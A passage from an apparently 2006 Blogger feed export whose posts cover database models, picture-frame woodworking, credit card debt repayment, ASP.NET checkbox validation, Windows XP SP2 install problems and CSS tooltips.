performance is comparable to that of its predecessor. While the DBMS has to spend more time maintaining record pointers in the network model, it spends less time inserting and removing records due to the elimination of redundant tables.&lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;&lt;b&gt;Ability to represent complex relationships.&lt;/b&gt; By allowing more than one parent/child link in each record, the network database model lets you extract data based on multiple relationships using a single table. While we explored using the network database to get a list of all customers that purchased a product and all salesmen that sold the product, you could also get a list of the orders placed by one or all of the customers and a list of sales made by one salesman or the entire sales force using the same network database structure and the same set of tables.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Unfortunately, the network database model, like its hierarchical rival, has the disadvantage of being inflexible. If you want to add a field to a table, the DBMS must create a new table for the larger records. Like the hierarchical model (and, again, unlike an SQL relational database), the network model has no ALTER TABLE command. Moreover, rebuilding a table to accommodate a change in a record's attributes or adding a new table to represent another relationship requires that a majority of the network database's record links be recalculated and updated-this translates into the database being inaccessible for extended periods of time to make even a minor change to a single table's fields. &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/network+database+model" rel="advantages of network database model"&gt;network database model&lt;/a&gt;, &lt;a href="http://technorati.com/tag/advantages" target="_blank" rel="advantages of network database model"&gt;advantages&lt;/a&gt;, &lt;a href="http://technorati.com/tag/hierarchiear+model" target="_blank" rel="advantages of network database model"&gt;hierarchiear model&lt;/a&gt;, &lt;a href="http://technorati.com/tag/relationships" target="_blank" rel="advantages of network database model"&gt;relationships&lt;/a&gt;, &lt;a href="http://technorati.com/tag/child+record" target="_blank" rel="advantages of network database model"&gt;child record&lt;/a&gt;, &lt;a href="http://technorati.com/tag/performance" target="_blank" rel="advantages of network database model"&gt;performance&lt;/a&gt;, &lt;a href="http://technorati.com/tag/complex+relationships" target="_blank" rel="advantages of network database model"&gt;complex relationships&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dbms" target="_blank" rel="advantages of network database model"&gt;dbms&lt;/a&gt;, &lt;a href="http://technorati.com/tag/sql" target="_blank" rel="advantages of network database model"&gt;sql&lt;/a&gt;, &lt;a href="http://technorati.com/tag/relational+database" target="_blank" rel="advantages of network database model"&gt;relational database&lt;/a&gt;, &lt;a href="http://technorati.com/tag/alter+table" target="_blank" rel="advantages of network database model"&gt;alter table&lt;/a&gt;,&lt;a href="http://technorati.com/tag/table" target="_blank" rel="advantages of network database model"&gt;table&lt;/a&gt;e &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115892810912101786?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115892810912101786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115892810912101786' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892810912101786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892810912101786'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/advantages-of-network-database-model.html' title='Advantages of Network database model'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115892715702541516</id><published>2006-09-22T17:42:00.000+05:30</published><updated>2006-09-22T17:42:37.036+05:30</updated><title type='text'>Advantages of hierarchical databases</title><content type='html'>&lt;p align="left"&gt;A hierarchical database model consists of data arranged into a structure that looks a lot like a family tree or company organizational chart. If you need to manage data that lends itself to being represented as parent/child relationships, you can make use of the hierarchical database model. Suppose, for example, that you have a home food delivery service and need to know how much of each grocery item you have to purchase in order to fill your customer orders for a particular delivery date. In a hierarchical database, each parent record can have multiple child records; however, each child must have one and only one parent.&lt;/p&gt; &lt;p align="left"&gt;The main advantages of the hierarchical database are: &lt;ul&gt; &lt;li&gt; &lt;p align="left"&gt;&lt;b&gt;Performance.&lt;/b&gt; Navigating among the records in a hierarchical database is very fast because the parent/child relationships are implemented with pointers from one data record to another. The same is true for the sideways relationships from child to child and parent to parent. Thus, after finding the first record, the program does not have to search an index (or do a table scan) to find the next record. Instead, the application needs only to follow one of the multiple child record pointers, the single sibling record pointer, or the single parent record pointer to get to the "next" record.&lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;&lt;b&gt;Ease of understanding.&lt;/b&gt; The organization of the database parallels a corporate organization chart or family tree. As such, it has a familiar "feel" to even nonprogrammers. Moreover, it easily depicts relationships where A is a part of B (as was the case with the order database we discussed, where each item was a part of an order).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;The main disadvantage of the hierarchical database is its rigid structure. If you want to add a field to a table, the database management system must create a new table for the larger records. Unlike an SQL database, the hierarchical model has no ALTER TABLE command. Moreover, if you want to add a new relationship, you will have to build a new and possibly redundant database structure.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115892715702541516?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115892715702541516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115892715702541516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892715702541516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892715702541516'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/advantages-of-hierarchical-databases.html' title='Advantages of hierarchical databases'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115892691762559273</id><published>2006-09-22T17:38:00.000+05:30</published><updated>2006-09-22T17:38:37.806+05:30</updated><title type='text'>Easy Picture Frames</title><content type='html'>&lt;p align="left"&gt;A &lt;b&gt;picture frame&lt;/b&gt; is a container added to a picture in order to enhance it, make it easier to display or, in some cases, to protect it. Picture frames are usually made of soft or hard &lt;a href="http://en.wikipedia.org/wiki/Wood" target="_blank" rel="digital frame picture"&gt;wood&lt;/a&gt; although other materials are also used, including &lt;a href="http://en.wikipedia.org/wiki/Aluminum" target="_blank" rel="digital frame picture"&gt;aluminum&lt;/a&gt; or polystyrene. A picture frame may be of any colour or texture, but &lt;a href="http://en.wikipedia.org/wiki/Gilding" target="_blank" rel="digital frame picture"&gt;gilding&lt;/a&gt; is common, especially on older frames. Some picture frames have elaborate &lt;a href="http://en.wikipedia.org/wiki/Molding_%28decorative%29" target="_blank" rel="digital frame picture"&gt;mouldings&lt;/a&gt; on them, which may relate to the subject matter of the picture.&lt;/p&gt; &lt;p align="left"&gt;The picture frame may contain a pane of &lt;a href="http://en.wikipedia.org/wiki/Glass" target="_blank" rel="digital frame picture"&gt;glass&lt;/a&gt;, in order to protect the picture. Glass may be treated with various coatings, the most common being &lt;a href="http://en.wikipedia.org/wiki/UV_filter" target="_blank" rel="digital frame picture"&gt;UV filters&lt;/a&gt;. The most expensive glass, Museum glass, has a coating which makes the glass non reflective and practically invisible.  &lt;p align="left"&gt;"L"-style frames are a simple variety that are constructed with a single L-shaped border of wood, with the bottom part of the L, or rabbet, at the front of the frame to hold in the glass, object and backing, which are secured in from the back. In this type a frame, a &lt;a href="http://en.wikipedia.org/w/index.php?title=Framing_mat&amp;amp;action=edit" target="_blank" rel="digital frame picture"&gt;framing mat&lt;/a&gt; should be used to distance the object/picture from the glass, because &lt;a href="http://en.wikipedia.org/wiki/Condensation" target="_blank" rel="digital frame picture"&gt;condensation&lt;/a&gt; quickly accumulates inside any frame and causes damage to the picture.  &lt;p align="left"&gt;Shadowbox frames have an additional channel cut into them, which the glass is inserted into. This allows the picture to be framed without a mat and still have protection from condensation.  &lt;p align="left"&gt;Attractive and unique picture frames can be made with basic tools, for some only a saw and a square are needed. It is much easier to cut mitered corners with a miter box or trimmer, if the fit is not exact the angles can be fine tuned by sanding them. Often a cause of poor fitting joints is that the two opposite side pieces are not exactly the same length. A disk sander is a very handy tool to have to adjust the angles to fit, there are plans to build one &lt;a href="http://benchnotes.com/DISK%20SANDER%20/Disk_Sander.html" target="_blank" rel="digital frame picture"&gt;here&lt;/a&gt;.  &lt;p align="left"&gt;&lt;b&gt;Miterless Frame&lt;/b&gt;  &lt;p align="left"&gt;&lt;img height="257" alt="digital frame picture" src="http://sawdustmaking.com/Easy%20Picture%20Frames/image.gif%20with%20corner%20blocks" width="454" align="bottom"&gt;&lt;/p&gt; &lt;p align="left"&gt;Make a base using 3/8" thick material as shown in fig.1, the inside dimensions should be standard photo sizes, 5 X 7, 8 X 10, 11 X 14, etc. For the top use strips 1/2" wider than base, use thicker and wider material for the corner blocks. Glue top pieces to the base as shown in Fig 2.  &lt;p align="left"&gt;&lt;img height="184" alt="digital frame picture" src="http://sawdustmaking.com/Easy%20Picture%20Frames/image.gif%20fig.3" width="118" align="bottom"&gt;&lt;/p&gt; &lt;p align="left"&gt;Rather than using corner blocks, cut strips 3/8" wider and glue on top of base lapping the joints as shown in Fig. 3  &lt;p align="left"&gt;&lt;b&gt;Traditional Molding Profiles&lt;/b&gt;  &lt;p align="left"&gt;&lt;img height="273" alt="digital frame picture" src="http://sawdustmaking.com/Easy%20Picture%20Frames/dimensions.jpg" width="196" border="0"&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;img height="231" alt="digital frame picture" src="http://sawdustmaking.com/Easy%20Picture%20Frames/profiles.jpg" width="199" border="0"&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;b&gt;Clamping&lt;/b&gt; &lt;p align="left"&gt;There are several ways to clamp your frames, perhaps the easiest way is to use a picture frame clamp. There are manufactured ones available or you can &lt;a href="http://sawdustmaking.com/Picture%20Frame%20Clamp%20copy/picture_frame_clamp.htm" target="_blank" rel="digital frame picture"&gt;build your own&lt;/a&gt;&lt;a href="http://benchnotes.com/Picture%20Frame%20Clamp/picture_frame_clamp.htm"&gt;.&lt;/a&gt; Masking tape will also work, simply lay a strip around each corner to hold it together until the glue sets. Rubber bands cut from innertubes can be used but it is difficult to keep the parts together while stretching it around the frame.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115892691762559273?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115892691762559273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115892691762559273' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892691762559273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115892691762559273'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/easy-picture-frames.html' title='Easy Picture Frames'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115890420454605232</id><published>2006-09-22T11:20:00.000+05:30</published><updated>2006-09-22T11:20:04.893+05:30</updated><title type='text'>Eliminate Credit card debt</title><content type='html'>&lt;p align="left"&gt;A poor credit history can make it harder for you to rent an apartment, buy a car, or fulfill a dream. It is important to know how credit can change your spending power and how you can recognize the danger signs of credit and avoid serious problems.  &lt;p align="left"&gt;The problem arises when people tend to use their credit card for almost every expenditure from grocery, accessories, entertainment to children's toys. Soon they find themselves facing a severe cash crunch, unable to pay back their card dues, and forced to borrow from friends and relatives.  &lt;p align="left"&gt;There are several people out there who use their card like there's no financial tomorrow. Don't forget that as soon as you roll the bill over, the interest clock starts to tick.  &lt;p align="left"&gt;&lt;b&gt;Warning signs&lt;/b&gt; &lt;p align="left"&gt;Your card does not give you credit for free. And once you allow the outstandings to pile up, the sum can pose as much danger to your financial security. It's the same old addiction thing. You can get as addicted to irresponsible spending as you can to drugs or alcohol.  &lt;p align="left"&gt;So, first admit that there's a problem. The symptoms are easy enough to detect: huge credit card statements, plenty of unused clothing and gizmos, a wallet full of ATM receipts and charge slips and, the worst, a savings bank account with no savings.  &lt;p align="left"&gt;Credit cards can reduce your future buying power if you carry a balance and let finance charges build up.  &lt;p align="left"&gt;You are in trouble if:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;You reach for your card automatically when you don't have cash. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The monthly statement you receive has several expenses you could have avoided. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;You pay just the minimum due on your credit cards each month. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;You use the cash advances facility regularly, often to pay off other debts. &lt;/div&gt; &lt;li&gt; &lt;p align="left"&gt;You use one credit card to pay off the bills on another card. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;If one or more of the above apply to you, you are headed for serious trouble. Still not convinced? Calculate the sums you paid over the years in credit dues, interest and late payment fees: they will add up to a fortune.  &lt;p align="left"&gt;&lt;b&gt;How can you get rid of your credit card debt? &lt;/b&gt; &lt;p align="left"&gt;Financial freedom can be yours if you exercise some willpower and take a few basic steps to eliminate debt.  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;The first thing to do is get all your credit card bills together. For each account, write down the total balance and the minimum monthly payment required. Prioritize your repayment. &lt;/div&gt; &lt;li&gt; &lt;p align="left"&gt;The next step is to be sure you can make the minimum payments on your credit cards. Look at your spending and make cuts where you can to find the money to pay your credit card bills. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Call the bank today and ask for a lower credit limit. Once that's done, you won't be able to charge as much on your card, and will be forced to use it only when absolutely necessary. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;If you have already used your card to the hilt, keep lowering the limit as and when you pay off the balance. Also if your interest liabilities are huge, consider transferring your balance to a low-interest card. The difference of even half a basis point in interest can save you a few thousand rupees in payments. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Make it a priority to pay off your credit card bills. If need be, use your savings to bring your outstandings to zero. Once you eliminate the debt, make sure you pay your card dues in total each month. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Don't put off settling your dues for another day. The more you delay, the more the bills will mount. 'Decide How Many Credit Cards You Need' and 'Decide How Much Credit Is Too Much.' Choose strategies to cut your debts as soon as possible. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Pay off cards with the smallest balances first. Paying off cards with small balances gives you extra money to pay on the bigger balances. Once you pay off a bill, next month add the amount you have been paying to the check you write to your remaining creditors. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;For example, let's say you pay Rs 350 a month on your Citibank account. Once it's paid off you can start adding Rs 650 to the check you write to pay your ICICI account. Then when you've paid off your VISA, add that amount, including the Rs 350 from the Citibank account, to the check you write to pay your MasterCard account, and so on until all the accounts are paid in full.  &lt;ul&gt; &lt;li&gt; &lt;p align="left"&gt;Stop making new charges. If you have to, cut up your cards, hide them, or lock them in a drawer. The key to sticking to your credit card debt repayment plan is to stay flexible. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;If you find that you set unrealistic spending limits in the beginning, revise your spending plan the next month. Find one or two low-rate cards and cancel all the others. Switching from a high-rate credit card to a low-rate card can easily save you Rs 20,000 or more a year. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Carry just what you need. Most people need only one or two credit cards one for purchases they pay off each month, and another for emergencies (or business purposes). Any more than that is usually overkill. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Get some free stuff. If you're going to use it anyways, why not get something back for your trouble? If you consolidate your spending on one card, consider getting a 'rewards' card where you earn miles, stuff, or cash back on your spending. Look for a card that will award you stuff you'll actually use. &lt;/p&gt; &lt;li&gt; &lt;p align="left"&gt;Cash is usually a good option. Still, don't let your spending get out of control just so you can get a free travel bag or a few extra airline miles. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;&lt;a href="http://www.rediff.com/money/2006/sep/22card.htm" target="_blank" rel="elimiinate or get rid of credit card debt"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/credit+card" target="_blank" rel="eliminate credit card debt"&gt;credit card&lt;/a&gt;, &lt;a href="http://technorati.com/tag/credit+card+debt" target="_blank" rel="eliminate credit card debt"&gt;credit card debt&lt;/a&gt;, &lt;a href="http://technorati.com/tag/eliminate+credit+card+debt" target="_blank" rel="eliminate credit card debt"&gt;eliminate credit card debt&lt;/a&gt;, &lt;a href="http://technorati.com/tag/atm" target="_blank" rel="eliminate credit card debt"&gt;atm&lt;/a&gt;, &lt;a href="http://technorati.com/tag/charge+slips" target="_blank" rel="eliminate credit card debt"&gt;charge slips&lt;/a&gt;, &lt;a href="http://technorati.com/tag/savings" target="_blank" rel="eliminate credit card debt"&gt;savings&lt;/a&gt;, &lt;a href="http://technorati.com/tag/statement" target="_blank" rel="eliminate credit card debt"&gt;statement&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115890420454605232?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115890420454605232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115890420454605232' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115890420454605232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115890420454605232'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/eliminate-credit-card-debt.html' title='Eliminate Credit card debt'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115874560622621102</id><published>2006-09-20T15:16:00.000+05:30</published><updated>2006-09-20T15:16:46.696+05:30</updated><title type='text'>Validator controls for Checkbox and Checkboxlist in asp.net</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;ASP.NET provides a variety of &lt;i&gt;validation Web controls&lt;/i&gt; that can be used to validate a user's form field inputs. (See &lt;a href="http://www.4guysfromrolla.com/webtech/090200-1.shtml"&gt;Form Validation with ASP.NET - It Doesn't Get Any Easier!&lt;/a&gt; for general information on the validation Web controls and &lt;a href="http://aspnet.4guysfromrolla.com/articles/112305-1.aspx"&gt;Dissecting Validation Controls in ASP.NET 2.0&lt;/a&gt; for the validation control changes from &lt;a href="http://aspnet.4guysfromrolla.com/1.x/"&gt;ASP.NET version 1.x&lt;/a&gt; to &lt;a href="http://aspnet.4guysfromrolla.com/2.0/"&gt;ASP.NET version 2.0&lt;/a&gt;.) Unfortunately, the validation Web controls do not work with the CheckBox or CheckBoxList Web controls. If you set a validation control's &lt;code&gt;ControlToValidate&lt;/code&gt; property to the &lt;code&gt;ID&lt;/code&gt; of a CheckBox or CheckBoxList, the page will throw an &lt;code&gt;HttpException&lt;/code&gt;, stating: "Control '&lt;i&gt;controlID&lt;/i&gt;' referenced by the ControlToValidate property of '&lt;i&gt;validationControlID&lt;/i&gt;' cannot be validated."  &lt;p align="left"&gt;There may be times, however, when you need to provide validation for a CheckBox or CheckBoxList. Many Web pages with Terms of Service include a CheckBox titled "I agree to the above terms" that must be checked before continuing. Likewise, a Web Form may contain a set of options in the form of a CheckBoxList. Perhaps the user is required to check at least one of these options before continuing. To provide such validation, we have three choices:  &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Forgo any sort of validation Web control semantics and perform the validation check using code on postback. The downside of this is that it breaks from the standard validation control metaphor and requires extra effort to include client-side validation. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Use the CustomValidator control and define our own server-side and client-side validation logic. The benefit of this approach is that it adheres to the validation control metaphor; however, the validation logic is tightly bound to the ASP.NET page, meaning that the server-side and client-side validation must be replicated on all pages that need to validate a CheckBox or CheckBoxList. (See &lt;a href="http://aspnet.4guysfromrolla.com/articles/073102-1.aspx"&gt;Using the CustomValidator Control&lt;/a&gt; for more information on this topic.) &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Create a custom, compiled validation server control that provides the functionality needed. The benefit of this approach is that we have a reusable, easily deployable custom server control that adheres to the validation control metaphor. Unfortunately, this option requires the most upfront code/effort.&amp;nbsp; &lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;a href="http://aspnet.4guysfromrolla.com/articles/092006-1.aspx" target="_blank" rel="validator controls for checkbox and checkboxlist in asp.net"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/validator+controls"&gt;validator controls&lt;/a&gt;, &lt;a href="http://technorati.com/tag/checkbox"&gt;checkbox&lt;/a&gt;, &lt;a href="http://technorati.com/tag/checkboxlist"&gt;checkboxlist&lt;/a&gt;, &lt;a href="http://technorati.com/tag/asp.net"&gt;asp.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/web+page"&gt;web page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/form+validation"&gt;form validation&lt;/a&gt;, &lt;a href="http://technorati.com/tag/user+controls"&gt;user controls&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115874560622621102?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115874560622621102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115874560622621102' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115874560622621102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115874560622621102'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/validator-controls-for-checkbox-and.html' title='Validator controls for Checkbox and Checkboxlist in asp.net'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115873599634705137</id><published>2006-09-20T12:36:00.000+05:30</published><updated>2006-09-20T12:36:36.486+05:30</updated><title type='text'>Issues and problems with Windows XP Service Pack 2</title><content type='html'>&lt;blockquote&gt; &lt;p align="left"&gt;Did you ever experience issues while installing Service pack 2 of Windows XP?. To all the users who had problems installing service pack 2 has a solution. &lt;/p&gt; &lt;p align="left"&gt;Product IDs that matches one of the following (where X is any numeric value): XXXXX-640-0000356-23 XXX or XXXXX-640-2001765-23 XXX will be blocked from installing the service pack as they were blocked from Service Pack 1 (&lt;a href="http://www.mvps.org/marksxp/WindowsXP/prodid.php"&gt;Click here&lt;/a&gt; for how to view your product id). If you have brought what you believe to be a legal version of Windows go back to where you purchased it and ask for a legal product key.&lt;/p&gt; &lt;p align="left"&gt;In order to install SP2 you will need a legal version of the Windows XP Edition you are currently using, insert the CD into your drive before Windows loads and boot from the CD (may require this function to be enabled in your computers BIOS). Once Windows XP setup has begun press Enter to start setup and press F8 to agree to the EULA. Select the current windows install to repair and press R. This will give you the ability to change the pirate key with a new legal retail key. &lt;p align="left"&gt;If you have the following problems, follow the link.&lt;br&gt;- &lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php#sp2"&gt;Service Pack 2 Will not install, I'm told I have an invalid product key &lt;/a&gt;&lt;br&gt;- &lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php#crypt"&gt;Service Pack 2 Setup could not verify the integrity of the file. Make sure the Cryptographic service is running&lt;br&gt;&lt;/a&gt;&lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php#beta"&gt;- When trying to upgrade to a later version of SP2 with a Beta or Release Candidate version already installed setup is terminated&lt;/a&gt;&lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php#crypt"&gt;&lt;br&gt;&lt;/a&gt;&lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php#atapi"&gt;- Atapi.sys is currently in use, please close all programs and continue.' Warning Message shown during setup&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;a href="http://www.mvps.org/marksxp/WindowsXP/SP2/common.php" target="_blank" rel="windows xp service pack 2 problems issues"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/windows+xp"&gt;windows xp&lt;/a&gt;, &lt;a href="http://technorati.com/tag/service+pack+2"&gt;service pack 2&lt;/a&gt;, &lt;a href="http://technorati.com/tag/problems+sp+2"&gt;problems sp 2&lt;/a&gt;, &lt;a href="http://technorati.com/tag/issues+sp+2"&gt;issues sp 2&lt;/a&gt;, &lt;a href="http://technorati.com/tag/invalid+key"&gt;invalid key&lt;/a&gt;, &lt;a href="http://technorati.com/tag/microsoft"&gt;microsoft&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115873599634705137?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115873599634705137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115873599634705137' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115873599634705137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115873599634705137'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/issues-and-problems-with-windows-xp.html' title='Issues and problems with Windows XP Service Pack 2'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867932326188915</id><published>2006-09-19T20:52:00.000+05:30</published><updated>2006-09-19T20:52:03.270+05:30</updated><title type='text'>Create Tool tips using CSS easily</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;As you have surfed the web you have probably&amp;nbsp;run into pages that had a nifty tool-tip that would come up when you hovered over a word. These tool-tips are&amp;nbsp;being used more and more&amp;nbsp;by web designers&amp;nbsp;to display the definition of a word or the long version of an acronym. There are other uses as well but you will figure those out on your own, I just want to show you how to add these CSS tool-tips to your pages. He is a snippet of code that will show a CSS tool-tip. After checking out the code, try hovering over the example text below the code. &lt;p align="left"&gt;&lt;font color="#ff8000"&gt;&amp;lt;span title="This is a CSS tool-tip" style="cursor: help;"&amp;gt;Hover Here&amp;lt;/span&amp;gt;&lt;/font&gt; &lt;p align="left"&gt;Hover Here &lt;p align="left"&gt;You should see that the cursor changes to a question mark when you hover over the text. You can style the text however you wish but it helps to make the style stand out a bit so that the user knows that the text has something different about it. Most web designers use the following style for text that has a CSS tool-tip. &lt;p align="left"&gt;&lt;font color="#ff8000"&gt;&amp;lt;span title="This is another CSS tool-tip" style="cursor: help; border-bottom: 1px dashed #000000;"&amp;gt;Another Example&amp;lt;/span&amp;gt;&lt;/font&gt; &lt;p align="left"&gt;Another Example &lt;p align="left"&gt;With the dashed border underneath the text your users will know that there is something about the text that is different from the rest of the text so they will most likely hover their mouse over it and see the CSS tool-tip come up. If your regular links are underlined with a solid line then users will know that text underlined with a dashed line is different from a link. &lt;p align="left"&gt;You can make the text for&amp;nbsp;your tool-tips pretty long and most browsers will still show them. Firefox is the only browser (as far as I can tell) that truncates the tool-tip to a shortened length. The other browsers I have tested will display a much longer tool-tip although I am sure they have a maximum limit too.&amp;nbsp;I have tested these tool-tips in IE, Firefox, Opera, and Konquerer. Please let me know how they work in other browsers specifically if there is a problem. &lt;p align="left"&gt;You may also&amp;nbsp;wish to&amp;nbsp;learn how to &lt;a href="http://www.netlobo.com/javascript_tooltips.html"&gt;use Javascript to create tool-tips&lt;/a&gt;&amp;nbsp;on your pages. &lt;p align="left"&gt;&lt;a href="http://www.netlobo.com/css_tooltips.html" target="_blank" rel="css tool tips"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a 